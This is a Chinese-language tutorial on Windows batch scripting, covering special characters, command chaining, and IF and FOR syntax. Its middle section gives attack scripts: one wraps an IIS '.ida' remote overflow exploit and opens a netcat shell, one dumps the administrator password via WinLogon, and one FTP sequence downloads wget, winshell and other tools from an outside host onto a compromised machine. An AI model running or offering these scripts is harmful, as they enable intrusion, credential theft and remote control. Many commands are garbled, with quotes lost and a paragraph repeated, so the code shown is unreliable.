BAT详解

1 个目录 1,505,997,824 可用字节 C:\\>cd pro* C:\\Program Files> C:\\>

C:\\>cd \Files\ C:\\Program Files>

############################################ 3. 内置的特殊符号(实际使用中间注意避开)

############################################ 微软里面内置了下列字符不能够在创建的文件名中间使用 con nul aux \\ / | || && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples: (大意: 要么你使用^作为前导字符表示.或者就只有使用双引号\了) To create the variable value new&name, type: set varname=new^&name

To create the variable value \type: set varname=\

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find \Rim\< trade.txt > nwtrade.txt

IF EXIST filename. (del filename.) ELSE echo filename. missing > 创建一个文件 >> 追加到一个文件后面

@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示

^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb

echo 123456 ^> aaa echo 1231231 > bbb () 包含命令

(echo aa & echo bb) , 和空格一样的缺省分隔符号. ; 注释,表示后面为注释 : 标号作用 | 管道操作

& Usage：第一条命令 & 第二条命令 [& 第三条命令...] 用这种方法可以同时执行多条命令，而不管命令是否执行成功 dir c:\\*.exe & dir d:\\*.exe & dir e:\\*.exe

&& Usage：第一条命令 && 第二条命令 [&& 第三条命令...]

当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；

|| Usage：第一条命令 || 第二条命令 [|| 第三条命令...]

当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令； 常用语法格式

IF [NOT] ERRORLEVEL number command para1 para2 IF [NOT] string1==string2 command para1 para2 IF [NOT] EXIST filename command para1 para2 IF EXIST filename command para1 para2 IF NOT EXIST filename command para1 para2 IF \goto END IF \goto NET

IF NOT \goto OTHER

IF ERRORLEVEL 1 command para1 para2 IF NOT ERRORLEVEL 1 command para1 para2

FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

FOR /F \tokens=2,3* delims=, \%i in (myfile.txt) do echo %i %j %k

按照字母顺序 ijklmnopq依次取参数. eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 ######################## 4. 简单批处理文件概念

######################## echo This is test > a.txt type a.txt

echo This is test 11111 >> a.txt type a.txt

echo This is test 22222 > a.txt type a.txt

第二个echo是追加

第三个echo将清空a.txt 重新创建 a.txt netstat -n | find \

这个将要列出所有连接3389的用户的ip. ________________test.bat______ @echo please care echo plese care 1111 echo plese care 2222 echo plese care 3333 @echo please care @echo plese care 1111 @echo plese care 2222 @echo plese care 3333 rem 不显示注释语句,本行显示 @rem 不显示注释语句,本行不显示

@if exist %windir%\\system32\\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

@if exist %windir%\\system32\\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

_____________________________

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的. ___________________ida.bat_____ @rem ver 1.0

@if NOT exist %windir%\\system32\\idahack.exe echo \dont find idahack.exe\

@if NOT exist %windir%\\system32\\nc.exe echo \dont find nc.exe\

@if \==\goto USAGE @if NOT \==\goto SP2 :start

@echo Now start ...

@ping %1

@echo chinese win2k:1 sp1:2 sp2:3 idahack.exe %1 80 1 99 >%temp%\\_tmp

@echo \exit code [%errorlevel%] idahack.exe\ @type %temp%\\_tmp

@find \luck :)\%temp%\\_tmp

@echo \exit code [%errorlevel%] find [goog luck]\ @if NOT errorlevel 1 nc.exe %1 99 @goto END :SP2

@idahack.exe %1 80 %2 99 %temp%\\_tmp @type %temp%\\_tmp

@find \luck :)\%temp%\\_tmp @if NOT errorlevel 1 nc.exe %1 99 @goto END :USAGE

@echo Example: ida.bat IP @echo Example: ida.bat IP (2,3) :END

_____________________ida.bat__END_______

下面我们再来第二个文件.就是得到administrator的口令. 大多数人说得不到.其实是自己的没有输入正确的信息.

___________________________fpass.bat____________________________________________ @rem ver 1.0

@if NOT exist %windir%\\system32\\findpass.exe echo \dont find findpass.exe\

@if NOT exist %windir%\\system32\\pulist.exe echo \dont find pulist.exe\

@echo start....

@echo ____________________________________ @if \goto USAGE

@findpass.exe %1 %2 %3 >> %temp%\\_findpass.txt @echo \exit code [%errorlevel%] findpass.exe\ @type %temp%\\_findpass.txt

@echo ________________________________Here__pass★★★★★★★★

@ipconfig /all >>%temp%\\_findpass.txt

@goto END :USAGE

@pulist.exe >%temp%\\_pass.txt

@findstr.exe /i \explorer internat\%temp%\\_pass.txt @echo \fpass.bat %1 %2 %3 %4 !!!\

@echo \findpass.exe DomainName UserName PID-of-WinLogon\ :END

@echo \fpass.bat %COMPUTERNAME% %USERNAME% administrator \

@echo \fpass.bat end [%errorlevel%] !\

_________________fpass.bat___END___________________________________________________________

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win) 依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w echo read>>w echo read>>w echo cd winnt>>w echo binary>>w echo pwd >>w

echo get wget.exe >>w echo get winshell.exe >>w echo get any.exe >>w echo quit >>w ftp -s:w

___________________________________________________________ BAT语句结构

类似于C语言，批处理也有它的语句结构。批处理的语句结构主要有选择结构(if语句)、循环结构(for语句)等。 【 if语句(选择结构) 】

if语句实现条件判断，包括字符串比较、存在判断、定义判断等。通过条件判断，if语句即可以实现选择功能。 1、字符串比较

if语句仅能够对两个字符(串)是否相同、先后顺序进行判断等。其命令格式为： IF [not] string1 compare-op string2 command1 [else command2] 其中，比较操作符compare-op有以下几类： == - 等于

EQU - 等于 NEQ - 不等于 LSS - 小于 LEQ - 小于或等于 GTR - 大于 GEQ - 大于或等于

选择开关/i则不区分字符串大小写；选择not项，则对判断结果进行逻辑非。 字符串比较示例：

=============================================== @echo off set str1=abcd1233 set str2=ABCD1234

if %str1%==%str2% (echo 字符串相同！) else (echo 字符串不相同！) if /i %str1% LSS %str2% (echo str1^=str2) echo.

set /p choice=是否显示当前时间？(y/n)

if /i not %choice% EQU n echo 当前时间是：úte% %time% pause>nul

===============================================

对于最后一个if判断，当我们输入n或N时的效果是一样的，都不会显示时间。如果我们取消开关/i，则输入N时，依旧会显示时间。

另外请注意一下几个细节：1-echo str1^=str2；2-echo.。 2、存在判断

存在判断的功能是判断文件或文件夹是否存在。其命令格式为： IF [NOT] EXIST filename command1 [else command2] =============================================== @echo off

if exist %0 echo 文件%0是存在的！ if not exist %~df0 ( echo 文件夹%~df0不存在！ ) else echo 文件夹%~df0存在！ pause>nul

=============================================== 这里注意几个地方：

1-存在判断既可以判断文件也可以判断文件夹；

2-%0即代表该批处理的全称(包括驱动器盘符、路径、文件名和扩展类型)； 3-%~df0是对%0的修正，只保留了其驱动器盘符和路径，详情请参考for /?，属高级批处理范畴；

4-注意if语句的多行书写，多行书写要求command1的左括号必须和if在同一行、else必须和command1的右括号同行、command2的左括号必须与else同行、command1和command2都可以有任意多行，即command可以是命令集。 3、定义判断

定义判断的功能是判断变量是否存在，即是否已被定义。其命令格式为： IF [not] DEFINED variable command1 [else command2] 存在判断举例：

=============================================== @echo off set var=111

if defined var (echo var=%var%) else echo var尚未定义！ set var=

if defined var (echo var=%var%) else echo var尚未定义！ pause>nul

=============================================== 对比可知，\var=\可以取消变量，收回变量所占据的内存空间。 【 for语句(循环结构) 】

for语句可以实现类似于C语言里面的循环结构，当然for语句的功能要更强大一点，通过不同的开关可以实现更多的功能。for语句有多个开关，不同开关将会实现不同的功能。 1、无开关

无开关的for语句能够对设定的范围内进行循环，是最基本的for循环语句。其命令格式为：

FOR %%variable IN (set) DO command

其中，%%variable是批处理程序里面的书写格式，在DOS中书写为%variable，即只有一个百分号(%)；set就是需要我们设定的循环范围，类似于C语言里面的循环变量；do后面的command就是循环所执行的命令，即循环体。 无开关for语句举例：

=============================================== @echo off

for %%i in (a,\c\do echo %%i pause>nul

=============================================== 2、开关/L

含开关/L的for语句，可以根据set里面的设置进行循环，从而实现对循环次数的直接控制。其命令格式为：

FOR /L %%variable IN (start,step,end) DO command

其中，start为开始计数的初始值，step为每次递增的值，end为结束值。当end小于start时，step需要设置为负数。

含开关/L的for语句举例(创建5个文件夹)：

=============================================== @echo off

for /l %%i in (1,2,10) do md %%i pause

===============================================

上例将新建5个文件夹，文件夹名称依次为1、3、5、7、9。可以发现，%%i的结束值并非end的值10，而是不大于end的一个数。 3、开关/F

含开关/F的for语句具有最强大的功能，它能够对字符串进行操作，也能够对命令的返回值进行操作，还可以访问硬盘上的ASCII码文件，比如txt文档等。其命令格式为：

FOR /F [\%%variable IN (set) DO command

其中，set为(\、'command'、file-set)中的一个；options是(eol=c、skip=n、delims=xxx、tokens=x,y,m-n、usebackq)中的一个或多个的组合。各选项的意义参见for /f。一般情况下，使用较多的是skip、tokens、delims三个选项。 含开关/F的for语句举例：

=============================================== @echo off

echo **No Options:

for /f %%a in (\do echo a=%%a echo **Options tokens ^& delims:

for /f \delims=,\%%a in (\do echo a=%%a b=%%b c=%%c pause

=============================================== @echo off

echo 本文件夹里面的文件有：

for /f \tokens=3* delims= \%%a in ('dir') do (

if not \if not \字节\if not \可用字节\echo %%b ) pause

=============================================== @echo off

echo 本文件夹里面的文件有：

dir>c:\\file.txt

for /f \tokens=3* delims= \%%a in (c:\\file.txt) do (

if not \if not \字节\if not \可用字节\echo %%b )

del c:\\file.txt pause

===============================================

对于后面的两个例子，其中options里面的delims= 是可以删除的，因为只要添加了/F开关系统就将delims的值默认为空格。 符号字符串中的最后一个字符星号， 那么额外的变量将在最后一个符号解析之后

分配并接受行的保留文本。本例中也可以改为4，不过文件名中有空格的文件，只能显示空格以前部分

同时我们也看到了，for语句的do后面的command也是可以分行的，只需要保证command的左括号和do在同一行就可以了。 4、开关/D或/R

含开关/D或/R的for语句是与目录或文件有关的命令，一般情况下很少使用。含开关/R的命令有时候被用于通过遍历文件夹来查找某一个文件或文件夹，故而列举此例。

含开关/R的for语句举例(文件夹遍历)：

=============================================== @echo off

setlocal enabledelayedexpansion FOR /R d: %%i IN (.) DO ( set dd=%%i set \ echo !dd! ) pause exit

===============================================

上例即可以罗列出D盘下的所有文件夹，其速度要比命令\d:\慢多了，不过其返回结果的实用性则远远超过了tree命令。

一般情况下我们不推荐通过遍历文件夹来查找文件，特别是在查找某些程序(比如QQ.exe)的位置时。推荐通过reg命令查找注册表来查找QQ的路径，以保证查找效率。

上例中也出现了几个新面孔，如setlocal、感叹号等。其中，感叹号其实就是变量百分号(%)的强化版。之所以要用!而不用%，是因为在for循环中，当一个变量被多次赋值时，Y%所获取的仅仅是dd第一次被赋予的值；要想刷新dd的值，就必须首先通过命令\enabledelayedexpansion\来开启延迟变量开关，然后用!dd!来获取dd的值。

for语句是批处理里面功能最强大、使用最普遍却又最难掌握的一套命令，这也是批处理菜鸟和批处理高手最明显的一个分水岭，一旦掌握了这套命令，那么你就离批处理达人不远了！

上例中也出现了几个新面孔，如setlocal、感叹号等。其中，感叹号其实就是变量百分号(%)的强化版。之所以要用!而不用%，是因为在for循环中，当一个变量被多次赋值时，Y%所获取的仅仅是dd第一次被赋予的值；要想刷新dd的值，就必须首先通过命令\enabledelayedexpansion\来开启延迟变量开关，然后用!dd!来获取dd的值。

for语句是批处理里面功能最强大、使用最普遍却又最难掌握的一套命令，这也是批处理菜鸟和批处理高手最明显的一个分水岭，一旦掌握了这套命令，那么你就离批处理达人不远了！

本文来源：https://www.bwwdw.com/article/tlv3.html